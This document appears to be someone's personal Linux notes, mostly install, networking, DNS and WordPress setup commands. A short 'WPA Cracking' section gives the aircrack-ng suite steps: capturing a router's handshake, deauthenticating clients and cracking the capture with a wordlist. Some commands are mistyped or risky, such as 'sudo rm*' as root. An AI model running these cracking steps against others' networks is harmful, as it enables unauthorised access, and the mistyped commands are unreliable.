Linux x64 Notes

When login page freezes

• [ option to enter username/password dont show ] Press Ctrl+Alt+Fn [ 1-10 ]
• login using username/password
• startx

Default GUI login with 3D hardware acceleration is TTY 8 [ Ctrl+Alt+F8 ]

Google Cloud Printing- varies from Unix OS to OS

• sudo add-apt-repository ppa:simon-cadman/niftyrepo
• sudo apt-get update
• sudo apt-get install cupscloudprint
• sudo /usr/share/cloudprint-cups/setupcloudprint.py
• Follow the instructions about authorizing CUPS Cloud Print to use your Google Account for printing

Go Green – Linux Hibernation/ Resume

You will need a working swap partition for hibernation to work properly. All commands must be entered as root user. [ sudo or su – ]

• sudo apt-get install acpi acpi-support acpi-support-base acpi-fakekey acpid acpitool pm-utils powermgmt-base hibernate

GNOME –

• sudo apt-get install gnome-power-manager

XFCE –

• sudo apt-get install xfce4-power-manager xfce4-power-manager-data xfce4-power- manager-plugins

You will need to note down swap partition UUID

• cat /etc/fstab
• Make sure RESUME=UUID=is same as swap partition UUID
• gksu gedit /etc/initramfs-tools/conf.d/resume

Edit GRUB config file & enter correct swap partition [ GRUB_CMDLINE_LINUX=”resume=/dev/sdax” where x is the swap partition number ]

• gksu gedit /etc/default/grub
• sudo update-initramfs -u && update-grub and Reboot

Fix resuming from /dev/sdX” but freezes [ optional ]

• sudo apt-get remove hibernate uswsusp

Remove EXIF data from pictures within terminal –

• exiftool -all = *.jpg

Install Sunflower File Manager –

• sudo add-apt-repository ppa:atareao/sunflower
• sudo apt-get update
• sudo apt-get install sunflower

Update the System –

• sudo apt-get update
• sudo apt-get dist-upgrade

Yakuake dropdown terminal –

• sudo apt-get install yakuake

Get old wallpaper –

• sudo apt-get install mint-backgrounds-*

Install Flash Player –

• sudo apt-get install flashplugin-installer

Install Restricted Extras –

• sudo apt-get install ubuntu-restricted-extras

Codecs & Enable DVD Playback –

• sudo apt-get install gstreamer0.10-plugins-ugly libxine1-ffmpeg gxine mencoder libdvdread4 totem-mozilla icedax tagtool easytag id3tool lame nautilus-script-audio-convert libmad0 mpg321 libavcodec-extra

Enable DVD Playback –

• sudo /usr/share/doc/libdvdread4/install-css.s­h

Install Dropbox –

• sudo apt-get install dropbox python-gpgme

(64bit) fix skin issue –

• sudo apt-get install gtk2-engines-murrine:i386 gtk2-engines-pixbuf:i386 sni-qt:i386

Install rar and other archiving utilities –

• sudo apt-get install p7zip-rar p7zip-full unace unrar zip unzip sharutils rar uudeview mpack arj cabextract file-roller

Install a clipboard manager –

• sudo apt-get install clipit

Hardinfo – System information tool –

• sudo apt-get install hardinfo

Cleanup unwanted apps –

• sudo apt-get autoremove

To fix Display turning off after x minutes despite it being set to ” never ” –

• xset -dpms;xset s off
• [ add above commands to auto run on reboot ]
• crontab -e
• @reboot xset -dpms;xset s off

To fix black desktop-

• Disable Display Compositing – Menu > Settings > Window Manager Tweaks program, Compositor tab

Ubuntu tips / tricks –

To show Start up apps –

• sudo sed -i ‘s/NoDisplay=true/NoDisplay=false/g’ /etc/xdg/autostart/*.desktop

To see current swappiness value [ swapping rate from memory to hdd ] –

• cat /proc/sys/vm/swappiness

To decrease swappiness value –

• sudo gedit /etc/sysctl.conf
• [ goto bottom of file & type # decrease swappiness value vm.swappinness=10 & reboot pc

To fix default login screen not loading –

• on pc reboot, keep pressing Esc [ before Ubuntu OS boots ] =there you selectUbuntu Advanced options for Ubuntu= linux firmware UPSTART [Ubuntu, with linux firmware number -generic ( upstart )[ 2nd link from the top ] . Because [ default login screen doesnt load ] you will drop down to terminal shell mode or ssh to pc where default login screen doesnt load.
• cat /etc/X11/default-display-manager =/usr/sbin/gdm [correct display manager should be/usr/sbin/lightdm] .default-display-managerhas a backup file =default-display-manager.dpkg.tmp. Delete as [sudo] /etc/X11/default-display-manager = sudo rm /etc/X11/default-display-manager
• as [sudo] = sudo dpkg-reconfigure yourdisplaymanager replace[ yourdisplaymanager ] with lightdm
  & reboot

Fix package dependencies –

• sudo apt install -f

Lock an app from updating or upgrading –

• sudo apt hold appname                                                                                                                                                       

Un lock an locked app –

• sudo apt unhold appname

Start x11vnc on a remote pc via ssh –

• ssh -t username@remotepcyouwant2runx11vnc ‘x11vnc’

Check if an app is installed –

• dpkg -s appname

UxTerm tweaks –

• -bg black -fg green

VNC Clients –

• Tigervnc

Network Manager –

• sudo systemctl start NetworkManager.service
• sudo service network-manager start
• sudo nmcli networking on

Chipset info –

• sudo apt-get install pciutils or inxi
• sudo inxi -n [ for network info ]

Kali Linux –

• $ is ordinary user & # is root user
• As root on 1st boot into kali, goto /etc/ssh/ delete ssh_host_*
• dpkg-reconfigure openssh-server

1) Use LibreElecusb.bin to write kali image to microsd card [ after chmod +x LibreElecusb.bin ]
2) To become Root in kali = sudo su
3) Install tightvncserver
4) On Kali machine execute vncserver :1 & enter password to access vnc remotely
5) On remote machine install xtightvncviewer
6) xtightvncviewer vncserverip:1 to vnc into kali

WPA Cracking –

Install airmon-ng –

• sudo airmon-ng check kill
• sudo iw list
• sudo airmon-ng start
• sudo iwconfig
• sudo airodump-ng wlancardname
• sudo airodump-ng –bssid mac addr of router you want to crack -c 11 wlan0mon –write /tmp/handshake.cap
• sudo aireplay-ng -0 100 -a mac address wlan0mon
• sudo aircrack-ng /tmp/handshake.cap-01.cap -w /usr/share/wordlists/rockyou.txt
• sudo airmon-ng stop wlan0mon

Linux Mint –

Find out what packages are installed by name –

• dpkg-query -l packagename                                                                                                               

Find out details of an installed app by name & to start stop it –

• sudo service installed_app status [ start / stop / restart ]

Find out network stats via terminal – 

• sudo apt-get install vnstat 
• sudo vnstat -i networkinterface 
• sudo vnstat -d -i networkinterface [ daily stats ]
• sudo vnstat -h -i networkinterface [ hourly stats ]
• sudo vnstat -m -i networkinterface [ monthly stats ]

Find out network traffic from terminal – 

• sudo apt-get install tcpdump
• sudo tcpdump -ni networkadapter IP protocol port portnumber [ tcpdump -ni eth0 udp port 53 ]

Unbound DNS Server install – 

• sudo apt-get update
• sudo apt-get install unbound
• cd /etc/unbound/
• sudo cp unbound.conf unbound.conf.backup
• sudo gedit unbound.conf
• enter following into unbound.conf 

          server:

          interface: 0.0.0.0

          access-control: x.x.x.0/24 allow [ x.x.x = IP class range of local LAN  ]
          access-control: 127.0.0.1 allow
          access-control: ::1 allow
          access-control: 0.0.0.0/0 deny
          access-control: ::/0 deny

forward-zone:

          name: “.”

          forward-addr: 9.9.9.9
          forward-addr: 149.112.112.112
          forward-first: yes

• cd /usr/sbin/
• sudo /usr/sbin/unbound-checkconf 
• sudo systemctl enable unbound
• sudo systemctl start unbound
• sudo systemctl restart unbound
• sudo systemctl status unbound
• ip addr
• sudo tcpdump -ni eth0 udp port 53
• dig @ipofpccurrentlyyourworkingon google.com

Start / Stop Network service – 

• sudo /etc/init.d/networking stop
• sudo /etc/init.d/networking start

Raspberry pi –

Disable power key

• sudo nano /etc/systemd/logind.conf
• HandlePowerKey=ignore
• sudo systemctl restart systemd-logind

Install WordPress on localhost –

• sudo apt update
• sudo apt upgrade
• sudo apt-get install apache2
• sudo apt-get install php
• sudo apt-get install mariadb-server
• sudo mysql_secure_installation [ switch to unix socket authentication / = n / remove test database & access to it = y / reload privilege table now = y ]
• sudo apt-get install php-mysql
• sudo service apache2 restart
• cd /var/www/html [ as root ]
• sudo rm* [ as root ]
• sudo wget http://wordpress.org/latest.tar.gz
• sudo tar xzf latest.tar.gz
• sudo chown -R www-data: .
• sudo mysql -uroot -p
• create database wordpress; [ name you give here will be the database for that blog = very important ] [ while inside mysql shell ] [ if everything went ok, you will get response as ” Query OK ” ]
• GRANT ALL PRIVILEGES ON wordpress.* TO ‘root’@’localhost’ IDENTIFIED BY ‘enteryouruniquedatabasepasswdhere’;
• [ optional ] – if you screw up the blog as entire blog is stored in a database and you want to delete just the database without uninstalling / reinstalling WordPress again, type DROP DATABASE tutorial_database; [ where tutorial_database is the database name of the corrupted blog ]